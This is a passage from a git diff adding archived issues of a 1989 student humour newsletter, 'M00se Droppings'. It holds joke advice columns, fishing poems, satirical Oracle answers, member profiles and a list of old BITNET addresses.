answer me? +Well. +Perhaps if I taste you +I can gather your understanding through absorption. + +O Lemon! +(burp) + +-------------------------------------------------------------------------------- +*************************** M00SCELLANEOUS NONSENSE **************************** +-------------------------------------------------------------------------------- + +This Submission is from Pickle :) + +Excerpts from Matt Groening's book _Love_Is_Hell_. The book is a collection of +his cartoons, called "Life In Hell". Highly recommended, especially if you can +get the boxed set, "Box Full Of Hell". + + +WHAT THE GREAT PHILOSOPHERS HAVE SAID VIS-A-VIS LOVE + +"Love is a slippery eel that bites like hell." -- Bertrand Russell + +"Love is a perky elf dancing a merry jig and then suddenly he turns on you with +a miniature machine-gun." -- Kierkegaard + +"Love is a snowmobile racing across the tundra and then suddenly it flips and +pins you underneath. At night, the ice weasels come." -- Nietzsche + + +Watch out for these early warning signs of love: + 1) Bouncy step + 2) Goo-goo eyes + 3) Babbling + 4) Bored friends + +Avoid sharing affection with people wearing desperate t-shirts. + "Will you be my friend?" + +Forbidden conversation topics in bed: + 1) Local elections + 2) Septic tanks + 3) Chores + 4) Your partner's shortcomings ("Did anyone ever tell you you grunt + amusingly when you make love?") + +When getting undressed with a new friend for the first time, do not try to +break the tension by gesticulating wildly and making comical throat noises. + "Geeba geeba geeba." + +Warning signs your lover is getting bored: + 1) Passionless kisses + 2) Frequent sighing + 3) Moved; left no forwarding address + +Advantages of heartbreak: + 1) More room in bed + 2) Time slows to a crawl + 3) Opportunity to get in touch with your weeping + +When in doubt about how to proceed in love, heed the advice of your closest +friends. + "Don't let yer meatloaf!" + +Be considerate. After mesmerizing your friends for hours with details of your +love miseries, be sure to feign interest when they start babbling about their +insignificant problems. + "So I go, 'Oh yeah?' and she goes 'Yeah!!' So I go--" + +If you're going to argue with your partner at a restaurant, make it a cheap +one, because you won't be tasting your food anyhow. + "How's your duck l'orange, stupid?" + "Shut up and eat yer truffles." + +Do not make jocular marriage proposals if you don't want to get clobbered. + "Will you mar--" + "Oh, yes!" + "--inate this steak for me?" + +When hanging up angrily on a lover, watch those fingers! + "Go to hell!!" SLAM! "OW!!!" + +Do not write and publish any books while in the midst of complete and utter +heartbreak. + _They're_ALL_Sons_Of_Bitches_ (vol. I) + +Do not take love advice from cynical, embittered, sarcastic cartoon strips. + "Do you take this man to be your lawful wedded husband?" + "Him?" + + +-------------------------------------------------------------------------------- +******************************* ASK THE ORACLE ********************************* +-------------------------------------------------------------------------------- + +Here, from Hal Eisen, is more "Ask the Oracle"... + +- - - - - - - - - - - - - - - - - - - - +What does the Oracle do after it gets off from work? + +The Oracle has answered your question as follows: + +What any other good oracle does...chill out...have a beer or 3... +play games....watch tv...see his gal... ;-) +- - - - - - - - - - - - - - - - - - - - +If deer are camouflaged by being brown, why aren't cows camouflaged by +being green? + +The Oracle has answered your question as follows: + +It is obvious that the cows' camouflage has worked exceedingly well. +In fact, it has worked so well that nobody has ever seen a green cow +around, as they are too well hidden. By comparison, the brown +with white splotches which deer refer to as their 'camouflage' is nothing. +- - - - - - - - - - - - - - - - - - - - +Hey Oracle - - + +What do signs that say "Proper Identification Required" mean? + +Is there such thing as "Improper Identification?" + +The Oracle has answered your question as follows: + +Such signs mean different things in different countries: +In Britain: You will be escorted out of the area if found within. +In the U.S: You will be escorted out in handcuffs. +In Germany: You will be put in jail for a month. +In Italy: You will be put in jail for a year. +In Russia: You will be sent to Siberia for five years. +In Turkey: You will be shot by a guard. +In Bulgaria: You will be tortured on the spot for five days, then + shot in the head at close range. + +Improper identification is such an item as a driver's license, say, when +a Cosmic Top Security Nato Clearance Pass is required. +- - - - - - - - - - - - - - - - - - - - +How did humankind ever get along without computers? + +The Oracle has answered your question as follows: + +This is a very brilliant question, on the scale of questions to the +Oracle. The answer is: paper. There was a strange and arcane art, now +lost to mankind, but once known as "writing," which allowed humans to +record data and even perform simple calculations on a sheet of "paper." +Paper was a very thin, white substance, the art of whose making has also +been lost to mankind, but which was created, by a secret but subsidized +process, from old-growth rainforest from the Tongass National Park. +Perhaps the reason this substance fell into disuse was that there is now +no plant life taller than six feet existing on Earth today. Paper was, +of course, in the Oracle's unbiased opinion, a far worse medium than +silicon, but was far superior for wiping the rear end. +- - - - - - - - - - - - - - - - - - - - +Are there really people who just won't ever be rational? + +The Oracle has answered your question as follows: + +yes...in fact, you can count them. +there are exactly pi of them. +- - - - - - - - - - - - - - - - - - - - +Explain the American electoral process, using only vocabulary and phrasing +which the average American would understand. + +The Oracle has answered your question as follows: + +screw the middle class... +- - - - - - - - - - - - - - - - - - - - +What would the world be like if 12 wasn't a prime number? + +The Oracle has answered your question as follows: + +The world would be vastly changed for the worse. Individual countries +would be in about the same place, but many things would be changed: + + - There would be a new nation, about where the junction between + Spain, Italy, and Germany is now, called "France". It would + be populated by the most obnoxious people in history. + + - The country "Russia" would be governed by a weird and bizarre system + known as "Communism". Despite having failed economically for 60 + years, their leaders would be trying to spread "Communism", most + often by invading their neighbors. + + - There would be many so called "religions", spread about the world. + They would involve the idea that, rather than being dead for good, + a person goes someplace after death. Why anyone would think that + is a mystery to the Oracle. + + - The almost unknown (in the present world) bug called the "mosquito" + would have an appendage solely for the drinking of blood from animals + while still living. It would spread horrible diseases by this + method. + +These are just a few examples. No one would want to live in a world +where 12 was not prime; in fact, there would be many suicides. +- - - - - - - - - - - - - - - - - - - - +How long can you tread water? + +The Oracle has answered your question as follows: + +WEll, let me put it this way. + +say an evil scientist captured me and brought me to his +evil laboratory and strapped me into an +evil machine that went + + + WHIRRRRRR + +and + + BUZZZZZZZZ + +and whose sole evil purpose was to evilly create and +an exact copy of myself whose very essence and being +down to the last atom was identical to me in every way. + +I would be able to tread water as long as he could. +-------------------------------------------------------------------------------- +****************************** MEET THE M00SES ********************************* +-------------------------------------------------------------------------------- + + THE REVISED M00SE ILLUMINATI SHORT-FORM ID FILE + + + +The short form.. + +FNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORD + + The Official M00se Illuminati Identification Form + + Chapter Name: ____________________________________________________ + Nickname(s): ____________________________________________________ + Life Form: ____________________________________________________ + Sex: Male ___ Female ___ Hermaphrodite ___ Other ___ + Net Address: ________@________ Purity Quotient: _______% + Description: ____________________________________________________ + ____________________________________________________ + ____________________________________________________ + Favourite Saying: ____________________________________________________ + Other Stuff: ____________________________________________________ + ____________________________________________________ + ____________________________________________________ + ____________________________________________________ + ____________________________________________________ + +FNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORD + +- - - - - - - - - - - - - - - - - - - - + +Here in Our latest meet the m00ses is Alacrity's ID... + + The Official M00se Illuminati Identification Form + + Chapter Name: John P. Bankert_____________________________________ + Nickname(s): CHAOS Engineer, Alacrity, Expletive Deleted_________ + Life Form: Intelligent potted palm_____________________________ + Sex: Male ___ Female ___ Hermaphrodite ___ Other XXX + Net Address: jbankert@sunrise_ + Description: about 5.5 feet tall, kinda tree trunkish except for_ + these leaves on top_________________________________ + Favourite Saying: If it works, fix it, if it doesn't, don't___________ + Other Stuff: I enjoy being watered about once a week and am______ + seeking an attractive fern for a meaningful_________ + relationship with possible long term commitment_____ + +- - - - - - - - - - - - - - - - - - - - + +Since Goblin thought my original introduction to this part wasn't right, +here's her introduction: + +The ID file of one of the well.. well lamebrained editors of this here magazine: + + The Official M00se Illuminati Identification Form + + Chapter Name: Jeff Lee + Nickname(s): Godfrey de Shipbrook, SalmonM00se, Nodefinger + Life Form: Random, though usually humanoid + Sex: Male XXX Female Hermaphrodite Other + Net Address: LEE_JES @CTSTATEU Purity Quotient: 48.8% + Description: Usually about 5'8", blond, hazel eyes (3), 120#. + Usually wears black. + Favourite Saying: Do not meddle in the affairs of cats, for they are + subtle and will piss on your computer. + Other Stuff: Heavily involved in the SCA, computers, music. Also + involved in art (drawing), writing, and other stuff... + SCA activities: Fighting, fencing, archery, heraldry, + mead brewing, calligraphy/illumination, crossbow, + music (singer/lutenist), armouring (mostly chainmail), + garbmaking, cooking... + +-------------------------------------------------------------------------------- +*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE *************** +-------------------------------------------------------------------------------- + +This week, for all those of you who have lost, deleted, folded, bended, +spindled, or mutilated your old copy of the M00se List: A fresh new one! + +Notes about the New List: Wolverine is now known as Lord Trelf, and both +he and Lord Sabre now have new net addresses. + + + +TOTAL CHAPTERS: 132 + +THRONG/CHAPTER USERID NODE NAME +-------------------------------------------------------------------------------- + +Alaska thr0ng FSDEM2 @ ALASKA Mugwump + FSJBK @ ALASKA G00se + JSJPC1 @ ALASKA Jonathan + RECS012 @ ALASKA Josh VanDyke + +Binghamton thr0ng FR0130 @ BINGVMA Pig Dung + FR0250 @ BINGVMA Red Rock Mud Puddle + +Boston University thr0ng CLXLAUC @ BUACCA Rorshach + ENLDC8C @ BUACCA Paladin + LAN @ BUCSF.BU.EDU + Larry Nathanson + +Brockport thr0ng DS1437 @ BROCK1P Don Schleede + ERIK @ BROCK1P E-Rock + MW2440 @ BROCK1P Mark Weiland + +Bucknell University chapter SHAFFERJ @ BKNLVMS James Shaffer + +Buffalo thr0ng V054NN84 @ UBVMSA Foto/PacifistM00se + V123P62M @ UBVMSC Lorelei + V047KFZ7 @ UBVMSD Roachm00se + V056GZPK @ UBVMSD BritM00se + V065L4KV @ UBVMSD Donald Duck + V067LUFD @ UBVMSD Riff, DeathM00se + V068GZ8E @ UBVMSD Evil + V068KY46 @ UBVMSD Ineedanickname + V068MVHU @ UBVMSD Brandy + V078QM32 @ UBVMSD F00nels + V083PBXV @ UBVMSD Sindar + V085PWPZ @ UBVMSD Valerie. :) + V096NHDQ @ UBVMSD Chris M00spaw + V097NQQG @ UBVMSD EXPL0RER 01 + V098PZJD @ UBVMSD Cardinal M00se + V101PYRW @ UBVMSD Villager M00se + V110JQ34 @ UBVMSD The Reverend M00ster + V122QQVZ @ UBVMSD Sweeper M00se + V133NNUW @ UBVMSD BigBadM00se + V291NHTP @ UBVMSD WarM00se, DangerM00se + IN%"JJZ @ S.CC.PURDUE.EDU" + ChickenM00se + +Connecticut College chapter IJDIC @ CONNCOLL Scub + +Connecticut State U thr0ng CLAFFEY_JOR @ CTSTATEU Indiana Joe + COLANGELO @ CTSTATEU Ken Colangelo + CRAMER @ CTSTATEU Scopus + HENNEQUI_WEM @ CTSTATEU Anonym00se + LEE_JES @ CTSTATEU SalmonM00se + PHINNEY_AVK @ CTSTATEU Phredde + WITHALL @ CTSTATEU Goblin + +Cornell thr0ng CBRY @ CORNELLA Ladykate + ZEMANIAN%CHEME.DECNET @ CHEME.TN.CORNELL.EDU + Spaceman Biff + +CUNY chapter P02QC @ CUNYVM Mike + +Drew chapter MHEAD @ DREW Drewid + +HABiT (H0use 0f Ap0stles DB06103 @ UAFSYSB M00se Man + 0f Biggles Thr0ng) DB06103 @ UAFSYSB Ms. M00se + JC06081 @ UAFSYSB Nemesis Milph + SH06078 @ UAFSYSB Dave T. Dead/R0b0p0pe + +Hartford thr0ng AHRENS @ HARTFORD Wrangle + BEAUBIEN @ HARTFORD Sindex + DICKSON @ HARTFORD Pickle/MOON ROACH! + MELINOSKY @ HARTFORD Slick Jones + ROSSI @ HARTFORD The Chairman + SZIMMERM @ HARTFORD Greymalkin + WEIMAN @ HARTFORD Rhiannon/Sushi + +Haverford thr0ng K_KRAVITZ @ HVRFORD Q. + S_BLINN @ HVRFORD Sean Blinn + +JHU (??) chapter INS_AHJE @ JHUVMS Spocko + +Lansing, NY thr0ng B45J @ CORNELLA Lord Sabre + B45J @ CRNLVAX5 Half-Elf + B45J @ CRNLVAX5 The Innkeeper + TQMY @ CRNLVAX5 Lord Trelf + +Loyola thr0ng FRANK @ LOYVAX Spank + GAIL @ LOYVAX Sybil + KEVIN @ LOYVAX + Mr. Sparebuttonssuppliedwithhisshirt + MARKUS @ LOYVAX Markus + MARY_BETH @ LOYVAX Mary Beth + PAMELA @ LOYVAX Mommydammit + STASA @ LOYVAX Phoenix + TERESA @ LOYVAX Teresa + VANIDOR @ LOYVAX Vanidor + +Maine chapter IO80222 @ MAINE Rainmaker + +North Dakota State U. chapter UD140680 @ NDSUVM1 The Anachronist + +Northeastern U. ACM_MDB @ NUHUB The_Sage + +Nova Scotia chapter 01GORF @ DALAC Terry Grignon + +0ber0n Trading Thr0ng ST5616 @ SIUCVMB QuantumCat + ST6344 @ SIUCVMB Black_D0G the pirate + +Old Dominion University thr0ng LBS100S @ ODUVM (nick unknown) + MRH100C @ ODUVM Frizbog Gordnik + SAB100C @ ODUVM Sandi Bedford + +Penn State thr0ng JLA @ HOGBBS.FIDONET.ORG + James L. Anderson + MSP @ PSUECL Mark S. Pfaff + WCF @ PSUECL Bill Fenner + +Portland thr0ng IP60591 @ PORTLAND Centauri + IP75004 @ PORTLAND Blazer + IP85014 @ PORTLAND qwerty + IP85033 @ PORTLAND Mitsya the Red M00se + +Siberacuse thr0ng CRUSSELL @ SUNRISE GypsyLynx + DPFLINT @ SUNRISE Sandman + JBANKERT @ SUNRISE CHAOS Engineer + RABEELER @ SUNRISE Beez + RETANTS @ SUNRISE Scamp + VASISON @ SUNRISE Vince Sison + LIBISU2 @ SUVM Guardian Angel + LIBLJR @ SUVM Niniane + +Stony Brook thr0ng BOWIEDEB @ SBCCVM But_You_Can_Call_Me_Maude + FNORD @ SBCCVM Fnord + JROSENSH @ SBCCVM Joanne Rosenshein + RRKHAN @ SBCCVM Romel + WALL @ SBCCVM Wall + +Sweden chapter ICE @ SEQZ51 Ice + +Towson State U. chapter S76NING @ TOWSONVX Paul + +Trinity thr0ng CWELLER @ TRINCC Din0m00se + FANTASYG @ TRINCC Trinity Fantasy Guild + OPER3 @ TRINCC Razz + REWING @ TRINCC Slick Rick + +U California Riverside chapter WATKINS @ UCRVMS Kevin + +UConn chapter WALLFESH @ UCONNVM Sande + +University of Missouri chapter C482529 @ UMCVMB Count_Zero + +U of New Hampshire chapter J_BUTMAN @ UNHH Oliver + +U of Vermont chapter DZUCKER @ UVMVM dzucker + +Villanova thr0ng 054649739 @ VUVAXCOM Satoru Ushiyama + 188622462 @ VUVAXCOM Kamikaze + 580074787 @ VUVAXCOM Fiben + 59401463 @ VUVAXCOM Starscream + SWORD05 @ VUVAXCOM Ford Prefect + WATER @ VUVAXCOM The Doctor + +Washington State U. thr0ng 24945863 @ WSUVM1 Bard + 23480853 @ WSUVM1 Ishtar + 90289872 @ WSUVM1 Cthulhu + +Wesleyan thr0ng AG @ WESLEYAN Damsel + EAUBRY @ WESLEYAN ED + JBLUESTEIN @ WESLEYAN WabeWalker + JVINCENT @ WESLEYAN Lord Rassilon + JDOTY @ WESLEYAN The Keeper + LBURKA @ WESLEYAN The Heresiarch + LGREENSTEIN @ WESLEYAN Pope Atheist I + LMARR @ WESLEYAN His Serene Randomness + RSIMON @ WESLEYAN Roanic + +Xavier chapter BRUGGMNJ @ XAVIER the WILD ONE!!! + + +PLAINBROWNWRAPPERPLAINBROWNWRAPPERPLAINBROWNWRAPPERPLAINBROWNWRAPPERPLAINBROWNW diff --git a/textfiles.com/magazines/M00SE/m00se23 b/textfiles.com/magazines/M00SE/m00se23 new file mode 100644 index 00000000..95461347 --- /dev/null +++ b/textfiles.com/magazines/M00SE/m00se23 @@ -0,0 +1,1000 @@ + PLAINBROWNWRAPPERPLAINBROWNWRAPPERPLAINBROWNWRAPPERPLAINBROWNWRAPPERPLAINBROWNW + + _ /\ _ _ /\ _ + / \_/\_/ \_/\_/ \ M M 0000 0000 SSSSS EEEEEEE / \_/\_/ \_/\_/ \ + \_____/ () \_____/ MM MM 0 //0 0 //0 S E \_____/ () \_____/ + / \ M M M M 0 // 0 0 // 0 SSSS EEEEE / \ + / \__/ \ M M M 0// 0 0// 0 S E / \__/ \ + /__________\ M M 0000 0000 SSSSS EEEEEEE /__________\ + + DDDD RRRR OOOO PPPPP PPPPP IIIII N N GGGGG SSSSS + D D R R O O P P P P I NN N G S + D D RRRR O O PPPPP PPPPP I N N N G GGG SSSS + D D R R O O P P I N NN G G S + DDDD R R OOOO P P IIIII N N GGGG SSSSS + + A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE + M00SE ILLUMINATI + +Issue #23| Disclaimer: The Editors will place almost anything | Apr. 24,1989 +---------- in this newsletter out of a frantic desire to fill --------------- +the issue, so don't blame them for the quality or content of the submissions. +Excepting those they may have written themselves, the enclosed items do not in +any way represent the Editors' opinions. In fact, let's be real safe, and say +that as far as this newsletter is concerned, they have no opinions at all. OK? +=============================================================================== + + The Index + + EDITORIALS AND LETTERS An Editorial. + EVENTS AND NEWS Various & sundry items of [dis]interest + FICTION AND POETRY + M00SCELLANEOUS NONSENSE + ASK THE ORACLE Do Twinkies have cream fillings? + MEET THE M00SES Scamp & Guardian Angel + M00SE LIST UPDATE The compleat list... + +-------------------------------------------------------------------------------- +**************************** EDITORIALS AND LETTERS **************************** +-------------------------------------------------------------------------------- + +Spriiiing is here! ah-suh-puh-ring is here! Life is skittles and life is +beer... + +BL00p! + +Some of you may have noticed that there haven't been any M00se Droppings for a +while (you could say the M00se is constipated). (Nia kulpo, nia granda kulpo!) +For a while, this was because there were *no* submissions. This is, of course, +understandable, since many of us have papers to write and can't afford to bl00p +around. + +NOW, however, there are submissions. (Of course, this issue could have gotten +out a few days earlier, but this time it was *our* fault; Goblin decided to +join a Twinkie-farming commune while I was away in Florida training at the +SWAMI-swamp.) + +The next issue *will* be out no later than the twelfth of May. Submission +deadline for the next issue is Thursday, May 11. (As long as we receive it by +Friday morning, it'll be in the issue, which will be sent out in the late +afternoon.) + +One article is missing from this issue: we assigned a M00se to cover a rumored +conspiracy concerning blue-haired grandmothers, but he hasn't reported back. +If we have received no word from him by next Thursday, you'll have to remove +him from your lists. + +Ni deziras al vi bonan tagon! (Bl00p 'til you dr00p!) + +Submissions: WITHALL@CTSTATEU.BITNET (Goblin) +M00se list & Back Issues : LEE_JES@CTSTATEU.BITNET (SalmonM00se) + +-------------------------------------------------------------------------------- +******************************* EVENTS AND NEWS ******************************** +-------------------------------------------------------------------------------- + +According to our sources, the sun was two degrees warmer last Tuesday according +to a big nosed Penguin friend in the Antartic. +- - - - - - - - - - - - - - - - - - - - +There was a Starfire sighting at Adventure V... (*Great* fun!!!!!) +- - - - - - - - - - - - - - - - - - - - +The Mega-Thr0ng-A-Th0n is to be held??? Where? When? How?? +- - - - - - - - - - - - - - - - - - - - +Wanted: Donald Trump look-a-alike in Bill the cats body. +- - - - - - - - - - - - - - - - - - - - + .tekcop ruoy gnikcip si dneirf ym ,siht gnidaer er'uoy elihW +- - - - - - - - - - - - - - - - - - - - +Does anyone else out there speak M00speranto? +- - - - - - - - - - - - - - - - - - - - +Wanted: More info on M00se T-shirts.. +- - - - - - - - - - - - - - - - - - - - +Wanted: Goblin seeks the Iguana Tavern, where (when) is it now? (& sends +hellos to the guy with the Pen) +- - - - - - - - - - - - - - - - - - - - +This line added to make the issue 1000 lines even (discounting mail headers). +- - - - - - - - - - - - - - - - - - - - +Quiet fern seeks companionship of a older potted palm. Is looking for a well +war watered, mature ladyfriend to be misted with. I am a normal mild mannered +fern into peanut butter parties and mazola togas.. +- - - - - - - - - - - - - - - - - - - - +-------------------------------------------------------------------------------- +***************************** FICTION AND POETRY ******************************* +-------------------------------------------------------------------------------- + +Hi Gang! How's it going out there in television land? Spaceman Biff +here. I just had a few thoughts I just HAD to share with y'all. + + 1) If Penelope' is the classical Greek symbol for wifely + fidelity, and Calliope' is the Muse of the dance, and + Turpsycchide' the Muse of music, does that make Envelope' + the Muse of punctual postal delivery? + + 2) Is there any interest out there in starting a new + m00se shaped breakfast cereal? We could call it Fr00t Bl00ps. + Test market: San Francisco. + + 3) I am working on a new mollusk-specific hunter/killer, + but am having a little trouble with the guidance system. + The basic idea is that the fully automated unit is released into + the ocean and hunts down scallops (oooh.) and cooks them in the + shell using a small, poorly shielded microwave oven. The unit + operates by distilling combustible hydrocarbons from the + seawater itself which it then burns in a diesel engine. + Unfortunately, the magnetic-to-true North deviation is huge up + around Alaska, where the fuel is most plentiful this time of + year. (And speaking of North deviations, how about that Ollie, + huh?!) Any helpful hints would be appreciated. + + 4) THERE IS _NO_ RULE #6!!!!! + + 5) Love is like drinking from a broken water glass. It doesn't + hold what you put in it, the edges are cold, hard, and pointy, + and you risk serious lip damage if you try too hard. Ahem. + + 6) And now, a poem from Mr. Steve Martin: + + The Pointy Birds + + The pointy birds are pointy, pointy. + They anoint my head, anointy, 'nointy. + + 7) Well, that went so well I think I'll finish with a set of + poems concerning fishing, and the logical conclusion of fishing, + ripping off fishheads. These were written by yours truly, a Mr. + Thomas Wickham, and a Mr. Michael Graham, all manly men who + are mighty to kill fish. + + +TO FISH, TO FISH +THIS IS MY ONLY WISH +WHEN OUT FISHING LATE +I ALWAYS FEEL GREAT +WHEN OUT FISHING EARLY +I FEEL MANLY AND BURLY +TO CAST OUT MY LINE +IS NOTHING MORE DIVINE? +TRULY, FISHING IS MOST QUIET, +MOST PEACEFUL. +THEN OUT GOES YOUR LINE! +THIS IS THE TIME. +RIP OFF ITS HEAD +UNTIL IT SCREAMS AND IS DEAD! + + + +I'll tell you a tale (which you'll get in the mail); +A schedule of fishing designs! +Of heads to be torn (on the Ides of March, morn) +From the fish that we snare on our lines! + +We'll hook up the bait and get there no late +-er than six A.M., beating the sun. +Then cast our rigs out, enticing the trout +To a meal, and thus, our meal become! + +For the quiet of dawn, when to the lake I have gone +With a cup of hot Joe by my side +Makes me again whole, a tocsin of the soul +Awaiting doomed fish from the tide. + +Then later, to Bud's, for some eggs and fried spuds +And strong coffee, and lightly singed bread. +Then 205 Linn is the place we'll begin +To peel skin back, and rip off some heads. + +So now comes the time for the end of my rhyme. +Preserve it so you can look back +Once again to this reference, so that, with great deference, +We can sacrifice the trout we caught at Wickhamhead rock, in full view +of the bass and sunny in the tank*, thereby striking fear into their +hearts as they watch us merrily decapitate their buddies and cousins! +Hee-hee-hee-hee-hee!!!!!!!!! + + +* - Mssrs. Wickham and Graham keep several locally caught fish + in a seventy gallon aquarium in their living room. Wickhamhead + rock is on of the ornaments in the tank. + + + + +Fish heads, fish heads! +Let's go hook some fish heads! +Fish heads, fish heads! +Let's rip off some! + +In the fish tank +Happy laughing fish heads! +Rip off fish heads +From the Lake! + + +Honestly, it seems to me quite a shame not to go fishing this afternoon! +Respond soon, or be a goon. + + + Happy, Laughing + + --T. Sticklerod Z. + + + + + + +(Author's note - the following poem is written as if in a dialect common + to a particular southern community; no offense is + intended, any more than if I had written it using a + midwestern dialect, a "valleygirl" dialect, etc., so + please, no ruffled feathers or hate mail. Thanx.) + + + Skin strains, muscle pains + Ooh ah loves dem fish heads! + Spines breaks, mah muscles aches, + Ah loves to rips dem off! + + In da mawnin', by de stream! + Ooh ah loves dem fish heads! + De water be murky, dis mus' be a dream! + Ah loves to rips dem off! + + Tamara mawnin', vicious early! + Ooh ah loves dem fish heads! + Eyes a bleary, hairs a squirrelly! + Ah loves to rips dem off! + + Mah main man John**,by Sahmun Crick + Ooh ah loves dem fish heads! + Wants ta fish wid his mighty stick! + Ah loves to rips dem off! + + At fahv foh sebben, when de sun rise! + Ooh ah loves dem fish heads! + It be legitmit to rips off fish heads! + Ah loves to rips dem off! + + +Seriously, at 5:47 tomorrow morning stream trout season opens. How'd ya +like to head out to Myers and work your fave trout spot? + + --T. Sticklerod Z. + + +** - The Innkeeper + + + + + + April 11, 1989 + + It sure ain't too early to be manly and burly + And rip off the heads of some fish + And strip flesh from their spine, so with a fine wine + Their remains make one hell of a dish. + + Perhaps thou wouldst deign, barring instance of rain + To go snare a few sometime this week? + We could try in the lake, or a stream, if we take + The precautions for wading a creek. + + This Saturday noon would be all none too soon + For this lad to go dangle a lure. + Any cold that we catch will be surely no match + For some trout liver oil; the cure. + + I've run out of rhyme, so respond in quick time + O'er the system, or perhaps face to face. + I'm sending this fare to both Wick and "Half-There"*** + To see who responds first; wins the race. + + +*** - Mr. Graham, whose other half of the wonder twins was lost to + marriage approximately two years ago. His reply is below. + + + + + + Once again a fish poem, that is less than a tome + + It would be my pleasure, + the length of to measure, + HEAD to tail of a beautiful fish. + Then rip off its head, + butter on the rest spread, + and turn into a devourable dish. + + The ides would be great, + best early, not late, + lest the piscines no longer are biting. + We speak of this later, + til then, alligator, + in fishheadish thoughts be delighting. + + + + That's all for now, cadets. Stay tuned for Batman!!! + + T. Sticklerod Z. + (Spaceman Biff!!) + + - - - - - - - - - - - - - - - - - - - - + + SECRET AGENT M00SE + ====== ===== ===== + + There's a M00se that leads a life of danger. + To everyone he meets he stays a stranger with every move he + makes another chance he takes. Odds are he would live to see + tomorrow. + + Secret Agent M00se Secret Agent M00se they've give you a + number and take away your name. + + Beware of pretty faces that you find. A pretty face can hide + an evil mind. Be careful what you say or you'll give yourself + away. Odd are you won't live to see tomorrow. + + Secrete Agent M00se Secret Agent M00se they've give you a + number and take away your name. + Secret Agent M00se Secret Agent M00se they've give you a + number and take away your name. + + Swinging on the Riviara one day and then laying in a Bombay + ally next day Oh no you let the wrong word slip while kissing + persuasive lips. The odds are you won't live to see tomorrow. + + Secret Agent M00se Secret Agent M00se they've give you a + number and take away your name. + Secret Agent M00se + + + -By D0CT0R M00SE (DRX) + and Claudette M00se. + + +- - - - - - - - - - - - - - - - - - - - + + +-------------------------------------------------------------------------------- +*************************** M00SCELLANEOUS NONSENSE **************************** +-------------------------------------------------------------------------------- + +The following is from Indiana Joe... + + My roomate found this inside a roll of toilet paper. We have no idea where +it came from or what it means, so we thought this was the perfect place to send +it. Here it is. + +There is garbage out of food-water-TV- +radio-books-newspapers in America - +mental and physical cancers are made +out of living and children everyday. + 1776 +Why don't world governments and every state +in America do what Father Flanagan did - +build a boystown and save world children. +Easy to do if governments are not parasites. + +Dictators and sick value free with their own +kind would die with *sickness-cancers and +wars* - why build them in any way. + +There would not be any governments if +governments had to prove themselves +what governments allow. + +Duty-honor-country and legally- +morally correct to destroy business +and government parasites + +1776 - America minutement watchmen not +Washington DC Columbia parasites statues - +Valley Forge reminders not decorators +in every state in America - 1776 + +Big people are parasites not children + +When is America going to have a +school of morals for lawyers. +Why are world governments not self +supporting Boy Scouts or better + 1776 +Bankruptcy signature law is a sick devil +cancer parasite business and government +and are *accessories* to crimes against every +age and create martyrs and wars. + +Minimum wages governments and people - +only good working conditions needed not +parasites = work clothes-work shoes +America not sick mirrors + +Living creatures have to be killed every +day = best of medicine if possible - +salf control - medicine ground floor planet +not snake pits out of living or material +B[B 1776 +No money schools - no useless studies +halfday in factory - halfday in school. +Everyone gets an equal chance - +nno government parasite tax or salary. + +Big people are parasites not children. + + + + Does anyone else understand this? --Indiana Joe + +- - - - - - - - - - - - - - - - - - - - + +This one is from Jonathan Clemens.. + + +I'm looking for some biased opinions on the Illuminati and secret societies in +general, for a research paper. Care to contribute any? + Jonathan + +-------------------------------------------------------------------------------- +******************************* ASK THE ORACLE ********************************* +-------------------------------------------------------------------------------- + +Here, from Hal Eisen, is more "Ask the Oracle"... + +- - - - - - - - - - - - - - - - - - - - + + +It's been said that the Lord has an inordinate fondness for beetles +(tens of thousands of species; about 1/3 of all species of anything +are beetles). Why is this? + +The Oracle has answered your question as follows: + +Beetles are among the most funky creatures known to mankind. But they are +also very well-designed. A solid beetle, take for example a June bug, is +the flying tank of the animal world - nothing below the size of a bird or +a tarantula can so much as scratch its chitin. But I wander, and begin to +leave the subject. This may be a result of not sleeping last night. +Anyway, the Questioner asked why the Lord has an inordinate fondness for +beetles. The Oracle can confirm this surprising fact. The Lord loves +beetles - He has them fried for breakfast, boiled for lunch, and sauteed +for dinner; in a pie for dessert. Questioner may then ask, if the Lord +loves his beetles so, why did He not have them rule the world? Instead +we have these ugly, pale, squishy creatures. This is a very good +question, which is only logical, because the Oracle asked it. But I am +slipping again. The answer is that humans really are beetles; we are +locked in a state of permanent hallucinations caused by sleeping too much. +Try not sleeping for a week or so, and the people around you will truly +appear to change into their natural form, that of the Giant Leprous Stag +Beetle. It's a very illuminating experience. Or, you can just put on +these special sunglasses, courtesy of the Resistance, and see that those +around you are actually GLSBs. But I begin to plagiarize. The Oracle, +being infinitely wise, knows that it is always time to go to sleep when +you begin plagiarizing. + + +- - - - - - - - - - - - - - - - - - - - + + +Are computers good or bad? (You do not have to totally agree or disagree) Why? + +The Oracle has answered your question as follows: + +WEll, one must first consider if computers can +truly BE. Then, we may decide if dey be good or dey be bad. +I tend to think of a computer, at least THIS computer, +as nothing more than an overgrown fancy automatic +coffee machine, which doesn't even brew coffee well, at that. +Is coffee bad? Well, that depends on it's source, the terror room +being a prime example of truly BAD coffee, while one is +hard pressed to come up with an instance of truly good coffee. +Since the computer really can't even do such a simple thing as +brew coffee, even bad coffee, one must conclude that it's +designers didn't like coffee very much, although it is reasonable +to suppose that they did indeed consume vast quantities of it. +Why this discrepancy exists is a matter of further speculation +which should perhaps be best contemplated by a system programmer +pulling an all-nighter to meet a deadline. +So, did the system's designer, under the influence of coffee, +design a system which was good? +I think not, as that most feared and dirty word, compromise +must have also exerted quite an influence, and under the twin +seductions of coffee and compromise, the designer could +only have fallen into catatonia. + + +- - - - - - - - - - - - - - - - - - - - + + +How can I determine if I'm sane or insane? + + +The Oracle has answered your question as follows: + +Flip a coin: If it comes up a polka-dotted grue, you are insane. +If, however, it is the gold and silver herd of zebras chasing the +witch's broom, you are perfectly sane. + + +- - - - - - - - - - - - - - - - - - - - + + + +On the Master Lock commercials, why do they shoot the lock when picking +it is so easy? + +The Oracle has answered your question as follows: + +Damn good question. Maybe they've never picked one themselves. Master +Locks are the most pickable locks ever developed; the Guinness Stout Book +of Irreproducible Records record that Peter ap Llacanwych holds the world +record for Master Lock picking, 3,423 consecutively in just over six +hours, with his teeth. 